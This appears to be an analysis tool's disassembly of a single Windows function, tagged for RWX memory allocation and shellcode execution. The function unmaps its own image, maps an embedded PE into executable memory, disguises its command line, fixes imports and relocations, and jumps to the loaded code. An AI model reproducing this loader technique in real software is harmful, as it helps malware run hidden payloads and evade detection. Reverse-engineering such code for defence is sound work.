Function at 0x1400027ea
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x70
mov qword [rbp + 0x10], rcx
mov qword [rbp - 0x18], 0xffffffffffffffff
lea rax, [0x14002c040]
mov qword [rbp - 0x20], rax
mov qword [rbp - 8], 0
mov qword [rbp - 0x28], 0
mov rax, qword [rbp - 0x20]
mov rcx, rax
call sym.getNtHdrs_unsigned_char_
mov qword [rbp - 0x30], rax
cmp qword [rbp - 0x30], 0
jne 0x140002849
lea rax, str.___File_isnt_a_PE_file.
mov rcx, rax
call sym.printf_char_const__::_
mov eax, 0
jmp 0x140002b20
mov rax, qword [rbp - 0x20]
mov edx, 5
mov rcx, rax
call sym.getPeDir_void__unsigned_long_long_
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x30]
mov rax, qword [rax + 0x30]
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x28]
mov rdx, rax
lea rax, str.___Exe_File_Prefer_Image_Base_at__x_n
mov rcx, rax
call sym.printf_char_const__::_
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp - 0x40], rax
mov rax, qword [rbp - 0x40]
lea rdx, str.NtUnmapViewOfSection
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov rdx, qword [rbp - 0x30]
mov rdx, qword [rdx + 0x30]
mov rcx, 0xffffffffffffffff
call rax
mov rax, qword [rbp - 0x30]
mov eax, dword [rax + 0x50]
mov edx, eax
mov rax, qword [rbp - 0x28]
mov r9d, 0x40
mov r8d, 0x3000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x140002916
cmp qword [rbp - 0x38], 0
jne 0x140002916
mov rax, qword [rbp - 0x28]
mov rdx, rax
lea rax, str.____Allocate_Image_Base_At__x_Failure._n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, 0
jmp 0x140002b20
cmp qword [rbp - 8], 0
jne 0x14000297d
cmp qword [rbp - 0x38], 0
je 0x14000297d
lea rax, str.___Try_to_Allocate_Memory_for_New_Image_Base_n
mov rcx, rax
call sym.printf_char_const__::_
mov rax, qword [rbp - 0x30]
mov eax, dword [rax + 0x50]
mov eax, eax
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x14000297d
lea rax, str.____Allocate_Memory_For_Image_Base_Failure._n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, 0
jmp 0x140002b20
lea rax, str.___Mapping_Section_...
mov rcx, rax
call sym.puts
mov rdx, qword [rbp - 8]
mov rax, qword [rbp - 0x30]
mov qword [rax + 0x30], rdx
mov rax, qword [rbp - 0x30]
mov eax, dword [rax + 0x54]
mov ecx, eax
mov rdx, qword [rbp - 0x20]
mov rax, qword [rbp - 8]
mov r8, rcx
mov rcx, rax
call sym.memcpy
mov rax, qword [rbp - 0x30]
add rax, 0x108
mov qword [rbp - 0x48], rax
mov dword [rbp - 0xc], 0
jmp 0x140002a88
mov eax, dword [rbp - 0xc]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp - 0x48]
add rax, rdx
mov rdx, rax
lea rax, str._______Mapping_Section__s_n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, dword [rbp - 0xc]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp - 0x48]
add rax, rdx
mov eax, dword [rax + 0x10]
mov r8d, eax
mov eax, dword [rbp - 0xc]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp - 0x48]
add rax, rdx
mov eax, dword [rax + 0x14]
mov edx, eax
mov rax, qword [rbp - 0x20]
add rax, rdx
mov rcx, rax
mov eax, dword [rbp - 0xc]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp - 0x48]
add rax, rdx
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov rdx, rcx
mov rcx, rax
call sym.memcpy
add dword [rbp - 0xc], 1
mov rax, qword [rbp - 0x30]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jl 0x1400029ce
mov rax, qword [rbp + 0x10]
mov rcx, rax
call sym.masqueradeCmdline_wchar_t_const_
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.fixIAT_void_
mov rax, qword [rbp - 8]
cmp rax, qword [rbp - 0x28]
je 0x140002af5
mov rax, qword [rbp - 0x30]
mov eax, dword [rax + 0x50]
mov r8d, eax
mov rdx, qword [rbp - 0x28]
mov rax, qword [rbp - 8]
mov rcx, qword [rbp - 8]
mov r9, r8
mov r8, rcx
mov rcx, rax
call sym.applyReloc_unsigned_long_long__unsigned_long_long__void__unsigned_long_long_
test al, al
je 0x140002af5
lea rax, str.___Relocation_Fixed.
mov rcx, rax
call sym.puts
mov rax, qword [rbp - 0x30]
mov eax, dword [rax + 0x28]
mov edx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x50], rax
lea rax, str.Run_Exe_Module
mov rcx, rax
call sym.printf_char_const__::_
mov rax, qword [rbp - 0x50]
call rax
ud2
add rsp, 0x70
pop rbp
ret